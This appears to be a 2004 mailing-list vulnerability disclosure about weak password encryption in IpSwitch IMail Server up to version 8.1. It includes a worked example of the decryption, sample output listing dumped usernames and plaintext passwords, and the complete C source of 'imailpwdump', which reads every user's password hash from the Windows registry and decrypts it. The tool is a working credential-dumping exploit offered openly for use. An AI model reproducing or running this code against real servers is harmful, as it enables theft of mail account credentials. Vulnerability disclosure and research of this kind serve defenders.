Message-ID: <1092676733.4120ec7d5c7c1@www.hotmail.kg>
From: netninja at hotmail.kg (Adik)
Subject: IpSwitch IMail Server <= ver 8.1 User Password Decryption

Hi fellaz,

IpSwitch IMail Server version up to 8.1 uses weak encryption algorithm to 
encrypt its user passwords. Have a look at attached proof of concept tool, 
which will decrypt user password from local machine instantly.

---
G:\xploits\imail_decrypt>
G:\xploits\imail_decrypt>imailpwdump -d

	--= [ IpSwitch IMail Server User Password Decrypter ver 1.1] =--

		 (c) 2004 by Adik ( netmaniac [at] hotmail.KG )



 DOMAIN:	 [ 192.168.65.129 ]

 DOMAIN:	 [ win2k ]
------------------------------------------------------------------------
 FullName:	 aselka
 Email:		 aselka@...2k
 Username:	 aselka
 Password:	 p3ace
------------------------------------------------------------------------
 FullName:	 brazilia
 Email:		 brazilia@...2k
 Username:	 brazilia
 Password:	 mysupersecretpassword
------------------------------------------------------------------------
 FullName:	 networkadmin
 Email:		 networkadmin@...2k
 Username:	 networkadmin
 Password:	 c00l
------------------------------------------------------------------------
 FullName:	 System Administrator
 Email:		 root@...2k
 Username:	 root
 Password:	 password

	 Total:	 4 Accounts

 Total:	 1 Domains, 4 Accounts

---

ciao,

Adik
-------------- next part --------------

/*************************************************************************************************
*	IpSwitch IMail Server <= ver 8.1 User Password Decryption
*	
*	by Adik < netmaniac[at]hotmail.KG > 
*	
*	IpSwitch IMail Server uses weak encryption algorithm to encrypt its user passwords. It uses
*	polyalphabetic Vegenere cipher to encrypt its user passwords. This encryption scheme is
*	relatively easy to break. In order to decrypt user password we need a key. IMail uses username
*	as a key to encrypt its user passwords. The server stores user passwords in the registry under the key 
*	"HKEY_LOCAL_MACHINE\SOFTWARE\IpSwitch\IMail\Domains\<domainname>\Users\<username>\Password".
*	Before decrypting password convert all upper case characters in the username to lower case
*	characters. We use username as a key to decrypt our password.
*	In order to get our plain text password, we do as follows:
*	1) Subtract hex code of first password hash character by the hex code of first username character.
*	   The resulting hex code will be our first decrypted password character.
*	2) Repeat above step for the rest of the chars.
*	
*	Look below, everythin is dead simple ;)
*	eg:
*
*	USERNAME:		netmaniac	
*	PASSWORDHASH:	D0CEE7D5CCD3D4C7D2E0CAEAD2D3
*	--------------------------------------------
*		
*	D0 CE E7 D5 CC D3 D4 C7 D2 E0 CA EA D2 D3	<- password hash
* -	6E 65 74 6D 61 6E 69 61 63 6E 65 74 6D 61	<- hex codes of username
*	n  e  t  m  a  n  i  a  c  n  e  t  m  a	<- username is a key
*	-----------------------------------------
*	62 69 73 68 6B 65 6B 66 6F 72 65 76 65 72	<- hex codes of decrypted password
*	b  i  s  h  k  e  k  f  o  r  e  v  e  r	<- actual decrypted password
*
*
*	pwdhash_hex_code		username_hex_code		decrypted_password
*	------------------------------------------------------------------
*			D0			-		6E (n)			=	62 (b)
*			CE			-		65 (e)			=	69 (i)
*			E7			-		74 (t)			=	73 (s)
*			D5			-		6D (m)			=	68 (h)
*			CC			-		61 (a)			=	6B (k)
*			D3			-		6E (n)			=	65 (e)
*			D4			-		69 (i)			=	6B (k)
*			C7			-		61 (a)			=	66 (f)
*			D2			-		63 (c)			=	6F (o)
*			E0			-		6E (n)			=	72 (r)
*			CA			-		65 (e)			=	65 (e)
*			EA			-		74 (t)			=	76 (v)
*			D2			-		6D (m)			=	65 (e)
*			D3			-		61 (a)			=	72 (r)
*	------------------------------------------------------------------
*
*	I've included a lil proggie to dump all the usernames/passwords from local machine's registry.
*	Have fun!
*	//Send bug reports to netmaniac[at]hotmail.KG
*
*	Greets to: my man wintie from .au, Chintan Trivedi :), jin yean ;), Morphique
*
*	[16/August/2004] Bishkek
**************************************************************************************************/


//#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <windows.h>
#define snprintf	_snprintf
#pragma comment(lib,"advapi32")
#define ALLOWED_USERNAME_CHARS	"A-Z,a-z,0-9,-,_,."
#define MAX_NUM	1024 //500
#define DOMAINZ "Software\\IpSwitch\\IMail\\Domains"
#define VER	"1.1"
#define MAXSIZE	100

int total_accs=0;
int total_domainz=0,total_domain_accs=0;
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void greetz()
{
	printf( "\n\t--= [ IpSwitch IMail Server User Password Decrypter ver %s] =--\n\n"
			"\t\t (c) 2004 by Adik ( netmaniac [at] hotmail.KG )\n\n\n",VER);
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void usage()
{
	printf( "------------------------------------------------------------------------\n");
	printf( " Imailpwdump [-d] -- Dumps IMail Server user/pwds from local registry\n\n"
			" Imailpwdump [username] [passwordhash] -- User/PwdHash to decrypt\n\n"
			" eg: Imailpwdump netmaniac D0CEE7D5CCD3D4C7D2E0CAEAD2D3\n");
	printf( "------------------------------------------------------------------------\n");
			
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void str2hex(char *hexstring, char *outbuff)
{	
	unsigned long tmp=0;
	char tmpchr[5]="";	
	memset(outbuff,0,strlen(outbuff));
	if(strlen(hexstring) % 2)
	{
		printf(" Incorrect password hash!\n");
		exit(1);
	}
	if(strlen(hexstring)>MAXSIZE)
	{
		printf(" Password hash is too long! \n");
		exit(1);
	}
	for(unsigned int i=0, c=0; i<strlen(hexstring); i+=2, c++)
	{
		memcpy(tmpchr,hexstring+i,2);
		tmp = strtoul(tmpchr,NULL,16);		
		outbuff[c] = (char)tmp;		
	}
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void str2smallcase(char *input)
{
	if(strlen(input)>MAXSIZE)
	{
		printf(" Username too long! \n");
		return;
	}
	for(unsigned int i=0;i<strlen(input);i++)
	{
		if(isalnum(input[i]) || input[i] == '-' || input[i]=='_' || input[i]=='.')		
			input[i] = tolower(input[i]);			
		else
		{
			printf(" Bad characters in username!\n Allowed characters: %s\n",ALLOWED_USERNAME_CHARS);
			return;
		}		
	}
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void populate(char *input,unsigned int size)
{
	char tmp[MAX_NUM]="";
	unsigned int strl = strlen(input);
	strcpy(tmp,input);
	//netmaniacnetmaniacnetman
	for(unsigned int i=strlen(input),c=0;i<size;i++,c++)
	{	
		if(c==strl)
			c=0;
		input[i] = tmp[c];
	}
	input[i]='\0';
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void imail_decrypt(char *username, char *pwdhash,char *outbuff)
{
	//adik 123456
	//adikbek 123
	if(strlen(pwdhash) <= strlen(username) )
	{
		memset(outbuff,0,sizeof(outbuff));
		for(unsigned int i=0;i<strlen(pwdhash);i++)	
			outbuff[i] = (pwdhash[i]&0xff) - (username[i]&0xff);			
		outbuff[i]='\0';
	}	
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void get_usr_pwds(char *subkey,char *usr)
{
	long res;
	HKEY hPwdKey;
	char username[MAXSIZE]="";
	char passwdhash[MAXSIZE*2]="", passwd[MAXSIZE]="",clearpasswd[MAXSIZE]="";
	char fullname[MAXSIZE]="";
	char email[MAXSIZE]="";
	DWORD lType;
	DWORD passwdhashsz=sizeof(passwdhash)-1,fullnamesz=MAXSIZE-1,emailsz=MAXSIZE-1;

		res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_ALL_ACCESS,&hPwdKey);
		if(res!=ERROR_SUCCESS)
		{
			printf(" Error opening key %s! Error #:%d\n",subkey,res);
			exit(1);	
			//return;
		}
	
		if(RegQueryValueEx(hPwdKey,"Password",0,&lType,(LPBYTE)passwdhash,&passwdhashsz)!= ERROR_SUCCESS)
		{
			RegCloseKey(hPwdKey);
			return;
		}
		if(RegQueryValueEx(hPwdKey,"FullName",0,&lType,(LPBYTE)fullname,&fullnamesz)!= ERROR_SUCCESS)
		{
			RegCloseKey(hPwdKey);
			return;
		}
		if(RegQueryValueEx(hPwdKey,"MailAddr",0,&lType,(LPBYTE)email,&emailsz)!=ERROR_SUCCESS)
		{
			RegCloseKey(hPwdKey);
			return;
		}
		

		str2smallcase(usr);
		strncpy(username,usr,sizeof(username)-1);
		str2hex(passwdhash,passwd);
		// adik 1234567
		// adik 12
		if(strlen(passwd)>strlen(username))
			populate(username,strlen(passwd));
		imail_decrypt(username,passwd,clearpasswd);

		printf( "------------------------------------------------------------------------\n"
				" FullName:\t %s\n"
				" Email:\t\t %s\n"
				" Username:\t %s\n"
				" Password:\t %s\n",
				fullname,email,usr,clearpasswd);
	total_accs++;
	RegCloseKey(hPwdKey);
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void dump_registry_pwds()
{
	HKEY hKey,hUserKey;
	DWORD domRes=0,usrRes=0, domlen=0,userlen=0,domIndex=0,userIndex=0;
	FILETIME ftime;
	char domain[150]="";
	char user[150]="";
	char tmpbuff[MAX_NUM]="";
	char usrtmpbuff[MAX_NUM]="";
	domRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE,DOMAINZ,0,KEY_ALL_ACCESS,&hKey);
	if(domRes!=ERROR_SUCCESS)
	{
		printf(" Error opening key '%s'!\n IMail not installed?? Error #:%d\n",DOMAINZ,domRes);
		exit(1);
	}
	do
	{
		domlen=sizeof(domain)-1;
		domRes=RegEnumKeyEx(hKey,domIndex,domain,&domlen,NULL,NULL,NULL,&ftime);
		if(domRes!=ERROR_NO_MORE_ITEMS)
		{
			printf("\n DOMAIN:\t [ %s ]\n",domain);
			userIndex=0;
			total_accs=0;
			snprintf(tmpbuff,sizeof(tmpbuff)-1,"%s\\%s\\Users",DOMAINZ,domain);
			usrRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE,tmpbuff,0,KEY_ALL_ACCESS,&hUserKey);
			if(usrRes==ERROR_SUCCESS)
			{		
				//adik
				do
				{
					userlen=sizeof(user)-1;
					usrRes=RegEnumKeyEx(hUserKey,userIndex,user,&userlen,NULL,NULL,NULL,&ftime);
					if(usrRes!=ERROR_NO_MORE_ITEMS)
					{						
						snprintf(usrtmpbuff,sizeof(usrtmpbuff)-1,"%s\\%s\\Users\\%s",DOMAINZ,domain,user);						
						get_usr_pwds(usrtmpbuff,user);		
					}
					userIndex++;					
				}
				while(usrRes!=ERROR_NO_MORE_ITEMS);
				RegCloseKey(hUserKey);
				printf("\n\t Total:\t %d Accounts\n",total_accs);
				total_domain_accs += total_accs;
				total_domainz++;
			}			
			domIndex++;			
		}
	}
	while(domRes != ERROR_NO_MORE_ITEMS);
	RegCloseKey(hKey);
	//total_domains += dom
	printf("\n Total:\t %d Domains, %d Accounts\n",total_domainz,total_domain_accs);

}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void decrypt_usr_pass(char *usr,char *passwd)
{
	char username[MAX_NUM]="";
	char passwordhash[MAX_NUM]="";
	char outputbuff[250]="";

	str2smallcase(usr);
	strncpy(username,usr,sizeof(username)-1);
	str2hex(passwd,passwordhash);
	printf("------------------------------------------------------------------------\n");
	printf( " Username:\t\t %s\n"
			" Passwordhash:\t\t %s\n",usr,passwd);
	if(strlen(passwordhash)>strlen(username))
		populate(username,strlen(passwordhash));

	imail_decrypt(username,passwordhash,outputbuff);
	printf(" Decrypted passwd:\t %s\n",outputbuff);
	printf("------------------------------------------------------------------------\n");
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void main(int argc, char *argv[])
{
	greetz();	
	
	if(argc ==2 && strncmp(argv[1],"-d",2)==0 )
	{
		//dump passwd from registry
		dump_registry_pwds();
	}
	else if(argc == 3 && strncmp(argv[1],"-d",2)!=0)
	{
		//decrypt username passwd
		decrypt_usr_pass(argv[1],argv[2]);
	}
	else
	{
		usage();
		return;
	}

	// ThE eNd

}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/

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